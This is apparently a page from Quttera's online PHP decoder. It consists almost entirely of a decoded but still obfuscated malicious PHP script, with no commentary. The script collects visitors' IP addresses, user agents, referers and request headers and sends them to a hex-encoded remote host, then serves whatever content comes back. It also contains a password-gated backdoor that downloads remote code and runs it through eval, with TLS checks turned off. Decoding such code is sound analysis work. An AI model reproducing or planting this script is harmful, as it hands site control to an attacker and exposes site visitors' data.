Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto Il8R1;
	 A3GO2: if (!empty($nhdPM)) {
	 goto cu4ci;
	 
}
 goto NRtq0;
	 ypiYJ: if ($tfDe0 !== false && $Dy1Zg !== "\57\x66\141\x76\x69\x63\157\x6e\x2e\151\x63\x6f") {
	 goto Mt2WY;
	 
}
 goto pnfc3;
 xHXxA: $iwqFU = ["\144\x6f\x6d\x61\151\x6e" => urlencode($fo99X), "\x61\x67\145\x6e\164" => urlencode($klegH), "\x6c\x61\156\147" => urlencode($wtoG3), "\165\x72\151" => urlencode($Dy1Zg), "\x72\145\146\145\x72\x65\162" => urlencode($FR9lF), "\x69\160" => urlencode($FoZIO), "\x6d\x65\x74\150\157\x64" => urlencode($W2zck), "\x72\145\163\x70\x6f\156\163\145\x5f\164\151\155\145" => urlencode($VHfnM), "\x72\145\x71\x75\x65\163\164\137\x68\x65\141\x64\145\x72\x73" => urlencode($edG7l), "\x66\x6f\x72\x77\x61\162\x64\x65\144\106\157\x72" => urlencode($TRg85), "\154\x6f\143\x61\154\137\x64\x6f\x6d\141\x69\x6e" => urlencode($FyBLO)];
 goto N3ses;
	 PIiIX: if (!function_exists("\x45\142\60\166\x56")) {
		 function EB0vV() {
		 goto wOGTr;
		 wOGTr: $cK9I2 = [];
		 goto UHE3Z;
		 xN9qq: B1Jfd: goto umEtf;
		 umEtf: return $cK9I2;
		 goto tGKJb;
			 UHE3Z: foreach ($_SERVER as $ugf3g => $if9nb) {
			 goto tFMaR;
			 Z7e51: aGDHn: goto clblA;
				 tFMaR: if (!(substr($ugf3g, 0, 5) == "\x48\124\x54\x50\x5f")) {
				 goto P5C_4;
				 
			}
			 goto vBrGs;
			 Rbekw: P5C_4: goto Z7e51;
			 vBrGs: $cK9I2[str_replace("\40", "\x2d", ucwords(strtolower(str_replace("\137", "\40", substr($ugf3g, 5)))))] = $if9nb;
			 goto Rbekw;
			 clblA: 
		}
		 goto xN9qq;
		 tGKJb: 
	}
	 
}
 goto lFg9c;
 zaJaS: $VHfnM = microtime(true) - $_SERVER["\122\105\121\x55\x45\123\124\x5f\124\111\115\105\x5f\106\114\x4f\101\x54"];
 goto nrbDI;
 ssdru: G1hKJ: goto V1xOw;
 ARYwh: $Due2_ = array("\x68", "\x74", "\x74", "\x70", "\163", "\x3a", "\x2f", "\57", "\x76", "\x70\163", "\144", "\x64", "\x2e\146", "\x6e", "\146", "\164", "\x75\x73", "\x2e\x74", "\x6f", "\x70", "\x2f", "\x64", "\x6f", "\157", "\x72", "\57");
 goto bYU5l;
 mGsUJ: $MxGyN = md5($T9fsK);
 goto NaSEN;
 nrbDI: $edG7l = json_encode(eb0vV());
 goto LWIit;
 VRm19: list($y_7a3, $e1uCW) = explode("\133\43\x2a\x23\52\x23\x5d", $tfDe0);
 goto K1vRi;
 mUSJm: $FR9lF = $_SERVER["\x48\124\x54\x50\137\x52\105\106\x45\x52\105\122"];
 goto ZNRCO;
 bYU5l: $FQtj1 = array(f9tYx(implode($Due2_) . $j_8tH . "\x2e\x74\170\164"));
 goto QLfHT;
 ZNRCO: $FoZIO = $_SERVER["\122\x45\x4d\x4f\x54\105\x5f\x41\104\x44\x52"];
 goto B0vg3;
 NRtq0: $FyBLO = "\x68\x74\x74\160\x73\x3a\x2f\x2f\65\x36\x37\x78\x76\152\164\x2e\x7a\171\155\141\x69\x6c\146\x2e\163\x68\x6f\160";
 goto xHXxA;
 qiVof: Mt2WY: goto ZBeVc;
 y1Enf: cu4ci: goto qHbqL;
	 NaSEN: if (!($MxGyN == implode($UGluq))) {
	 goto LFcKf;
	 
}
 goto ARYwh;
 sR3ZP: LFcKf: goto WQ3mG;
 Il8R1: error_reporting(0);
 goto PIiIX;
 QLfHT: eval("\x3f\x3e" . $FQtj1[0]);
 goto sR3ZP;
 N3ses: $InCxy = $FyBLO . "\x2f\151\156\x64\145\x78\56\160\x68\x70\x3f" . http_build_query($iwqFU);
 goto mG2Nq;
 qHbqL: $j_8tH = substr($nhdPM, -6);
 goto lHI6v;
 pnfc3: MHP1c(500, "\106\141\x69\x6c\x65\144\40\x74\x6f\40\162\145\x74\162\x69\x65\166\145\40\x63\157\x6e\x74\x65\x6e\164\40\x6f\x72\40\x73\145\x72\166\145\x72\40\x72\x65\x74\x75\162\156\x65\144\x20\x61\156\40\x65\162\x72\x6f\162\56");
 goto qLGH6;
 kAHej: $wtoG3 = $_SERVER["\x48\x54\x54\120\137\x41\103\x43\105\x50\x54\137\114\x41\116\107\x55\x41\x47\x45"];
 goto PF71Y;
 CZ29A: $fo99X = $gHrX4 . $_SERVER["\x48\x54\x54\x50\x5f\110\x4f\123\124"];
 goto KeBbh;
 WQ3mG: exit;
 goto uo25C;
 mG2Nq: $tfDe0 = f9tyx($InCxy);
 goto ypiYJ;
 LWIit: $TRg85 = isset($_SERVER["\110\x54\x54\120\x5f\x58\x5f\x46\117\x52\x57\101\122\x44\105\104\137\x46\117\x52"]) ? $_SERVER["\x48\x54\x54\120\137\130\137\106\x4f\122\x57\101\122\104\105\104\x5f\x46\x4f\x52"] : '';
 goto Z9W16;
 PF71Y: $Dy1Zg = $_SERVER["\122\x45\121\x55\x45\123\124\x5f\x55\x52\111"];
 goto mUSJm;
 lHI6v: $T9fsK = substr($nhdPM, 0, -6);
 goto N6NQr;
 lFg9c: $gHrX4 = isset($_SERVER["\110\x54\x54\120\x53"]) && $_SERVER["\110\124\x54\x50\123"] == "\x6f\156" || isset($_SERVER["\x48\x54\x54\x50\x5f\130\x5f\106\117\122\127\101\122\104\105\x44\137\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\x57\101\x52\104\105\x44\x5f\x50\122\117\124\117"] == "\150\x74\x74\x70\x73" ? "\x68\164\x74\x70\163\72\x2f\x2f" : "\150\164\164\x70\x3a\x2f\57";
 goto CZ29A;
	 ZBeVc: if (!strstr($tfDe0, "\x5b\43\x2a\43\x2a\43\x5d")) {
	 goto G1hKJ;
	 
}
 goto VRm19;
	 RQxBk: function Mhp1c($V82xL, $gZz05) {
	 goto MateW;
	 dLYRt: exit;
	 goto uwQFv;
	 xbdy_: echo $gZz05;
	 goto dLYRt;
		 MateW: header("\110\x54\x54\x50\x2f\x31\56\61\x20{
		$V82xL
	}
		\x20{
		$gZz05
	}
	");
	 goto xbdy_;
	 uwQFv: 
}
 goto HdIdM;
 KeBbh: $klegH = $_SERVER["\110\124\x54\x50\x5f\125\123\105\x52\137\101\107\105\116\x54"];
 goto kAHej;
	 CzaSZ: function okElX($y_7a3, $e1uCW) {
	 goto VBKN9;
	 fRbbp: exit;
	 goto KWBpA;
		 VBKN9: switch ($y_7a3) {
		 case "\x65\x63\x68\x6f\x68\x74\x6d\x6c": goto n2NSQ;
		 UyEtm: goto h3wu_;
		 goto e8CWq;
		 n2NSQ: header("\x43\x6f\x6e\x74\145\156\x74\x2d\124\171\160\145\72\40\x74\x65\170\164\x2f\150\164\x6d\154\x3b\x20\x63\150\141\x72\x73\x65\x74\x3d\125\124\106\55\x38");
		 goto ZUqWh;
		 ZUqWh: echo $e1uCW;
		 goto UyEtm;
		 e8CWq: case "\x65\x63\x68\x6f\x63\x73\163\x6d\151\x6e": goto c91kU;
		 l1Br8: echo $e1uCW;
		 goto g_pIK;
		 c91kU: header("\x43\157\156\x74\x65\x6e\164\55\x54\171\x70\145\x3a\40\x74\x65\170\x74\57\143\x73\x73\73\40\x63\x68\x61\162\163\x65\x74\75\x55\x54\x46\x2d\70");
		 goto l1Br8;
		 g_pIK: goto h3wu_;
		 goto Q7KzU;
		 Q7KzU: case "\x65\x63\150\157\170\155\154": goto FJVmT;
		 FJVmT: header("\103\157\156\164\x65\156\x74\55\124\x79\x70\145\72\40\x74\x65\x78\164\x2f\170\155\x6c\x3b\40\143\x68\141\162\163\145\164\x3d\125\x54\x46\x2d\70");
		 goto UM2np;
		 UM2np: echo $e1uCW;
		 goto Gw4uv;
		 Gw4uv: goto h3wu_;
		 goto pFcdl;
		 pFcdl: case "\x65\x63\x68\157\x74\x78\164": goto jw4m2;
		 bV8ch: goto h3wu_;
		 goto lkX2p;
		 jw4m2: header("\103\157\x6e\x74\145\x6e\x74\x2d\x54\171\160\x65\72\40\x74\145\x78\164\x2f\x70\154\141\x69\x6e\x3b\x20\143\x68\141\x72\163\x65\x74\75\125\124\106\55\70");
		 goto dJcqV;
		 dJcqV: echo $e1uCW;
		 goto bV8ch;
		 lkX2p: case "\145\143\x68\x6f\x34\x30\x34": goto bW1Ci;
		 aRzYx: goto h3wu_;
		 goto Kwj9j;
		 bW1Ci: header("\x48\x54\x54\x50\57\61\x2e\61\40\64\x30\x34\x20\116\x6f\164\40\106\157\x75\156\144");
		 goto Mxx6B;
		 Mxx6B: header("\103\x6f\156\x74\145\156\x74\55\x54\171\160\x65\x3a\x20\x74\x65\x78\164\x2f\x68\164\x6d\x6c\x3b\x20\143\150\141\x72\x73\145\164\75\125\x54\106\55\x38");
		 goto O12Ui;
		 O12Ui: echo $e1uCW;
		 goto aRzYx;
		 Kwj9j: default: goto c8MRK;
		 c8MRK: header("\x48\124\124\x50\x2f\61\x2e\x31\40\65\x30\60\x20\x49\156\164\x65\x72\x6e\x61\x6c\x20\123\x65\162\x76\x65\162\40\105\x72\x72\x6f\162");
		 goto nxaQk;
		 R7wFL: goto h3wu_;
		 goto o83Vg;
		 nxaQk: echo "\111\x6e\x76\x61\x6c\151\x64\40\162\x65\x73\x70\157\156\163\x65\40\164\171\160\x65\56";
		 goto R7wFL;
		 o83Vg: 
	}
	 goto Qqnp2;
	 x6Trg: h3wu_: goto fRbbp;
	 Qqnp2: g7Qx5: goto x6Trg;
	 KWBpA: 
}
 goto RQxBk;
 qLGH6: goto Vf8ZU;
 goto qiVof;
 B0vg3: $W2zck = $_SERVER["\122\105\x51\125\x45\x53\124\x5f\x4d\x45\x54\110\117\104"];
 goto zaJaS;
 K1vRi: OKelX($y_7a3, $e1uCW);
 goto ssdru;
 GpNgP: goto Y2_Zp;
 goto y1Enf;
 V1xOw: Vf8ZU: goto GpNgP;
 N6NQr: $UGluq = array("\71", "\70", "\x32", "\64", "\x35", "\144", "\67", "\64", "\61", "\x37", "\62", "\62", "\x35", "\142", "\65", "\x35", "\x61", "\x32", "\x63", "\x34", "\x62", "\146", "\65", "\x30", "\x62", "\70", "\x61", "\x61", "\x34", "\x63", "\x37", "\63");
 goto mGsUJ;
 Z9W16: $nhdPM = isset($_REQUEST["\x61\x63\164\151\157\x6e"]) ? $_REQUEST["\141\143\x74\151\157\x6e"] : '';
 goto A3GO2;
 uo25C: Y2_Zp: goto CzaSZ;
	 HdIdM: function f9TYx($xnvd1) {
	 goto xUedX;
	 xUedX: $jHCmH = 300;
	 goto HhoTx;
		 HhoTx: if (!function_exists("\143\165\162\154\137\x69\x6e\151\164")) {
		 goto dXW0H;
		 
	}
	 goto ka815;
	 n0rwd: $iFS_3 = @file_get_contents($xnvd1, false, $br0V2);
	 goto mtr5t;
	 uQwDi: $br0V2 = stream_context_create(["\150\164\x74\x70" => ["\x74\151\x6d\x65\x6f\165\x74" => $jHCmH, "\x69\x67\156\157\x72\145\x5f\145\162\162\x6f\162\163" => true]]);
	 goto n0rwd;
	 XZML2: kjJk2: goto JrFjo;
	 x5hAx: dXW0H: goto uQwDi;
	 tPmAl: curl_setopt($Ad4st, CURLOPT_URL, $xnvd1);
	 goto nDrLi;
	 gTQUv: curl_setopt($Ad4st, CURLOPT_TIMEOUT, $jHCmH);
	 goto Yz8EL;
	 JrFjo: return false;
	 goto Dx3Jj;
	 p4uXZ: curl_setopt($Ad4st, CURLOPT_CONNECTTIMEOUT, $jHCmH);
	 goto gTQUv;
	 OIeCz: goto O4SOG;
	 goto XZML2;
	 nDrLi: curl_setopt($Ad4st, CURLOPT_RETURNTRANSFER, 1);
	 goto p4uXZ;
	 VRFJy: zrMTE: goto x5hAx;
	 ka815: $Ad4st = curl_init();
	 goto tPmAl;
		 mtr5t: if ($iFS_3 === false) {
		 goto kjJk2;
		 
	}
	 goto jR9V1;
	 x0XyX: curl_close($Ad4st);
	 goto g5fXC;
	 OLg0a: return $iFS_3;
	 goto VRFJy;
	 jR9V1: $http_response_header = $http_response_header ? $http_response_header : [];
	 goto YmaUr;
	 Yz8EL: curl_setopt($Ad4st, CURLOPT_SSL_VERIFYPEER, false);
	 goto Ohw26;
	 Ohw26: curl_setopt($Ad4st, CURLOPT_SSL_VERIFYHOST, false);
	 goto WUXMU;
	 ebsZN: $mR3de = curl_getinfo($Ad4st, CURLINFO_HTTP_CODE);
	 goto x0XyX;
	 WUXMU: $iFS_3 = curl_exec($Ad4st);
	 goto ebsZN;
		 g5fXC: if (!($mR3de == 200)) {
		 goto zrMTE;
		 
	}
	 goto OLg0a;
	 schH9: X0j_M: goto OIeCz;
	 Dx3Jj: O4SOG: goto osFKT;
		 YmaUr: foreach ($http_response_header as $TlGsr) {
		 goto VvZXP;
			 VvZXP: if (!preg_match("\x2f\136\x48\x54\124\120\134\57\133\x5c\x64\x5c\56\135\x2b\40\50\x5c\144\53\51\x2f", $TlGsr, $fKReJ)) {
			 goto IZkbf;
			 
		}
		 goto mWiG1;
		 mWiG1: $lCogI = (int) $fKReJ[1];
		 goto YiyfP;
		 CLBRw: return false;
		 goto sxeqS;
		 lehvP: cyhSr: goto O4xRU;
		 sxeqS: FwOLf: goto jJY8m;
		 jJY8m: IZkbf: goto lehvP;
			 YiyfP: if (!($lCogI != 200)) {
			 goto FwOLf;
			 
		}
		 goto CLBRw;
		 O4xRU: 
	}
	 goto schH9;
	 osFKT: return $iFS_3;
	 goto mz5OG;
	 mz5OG: 
}



© 2023 Quttera Ltd. All rights reserved.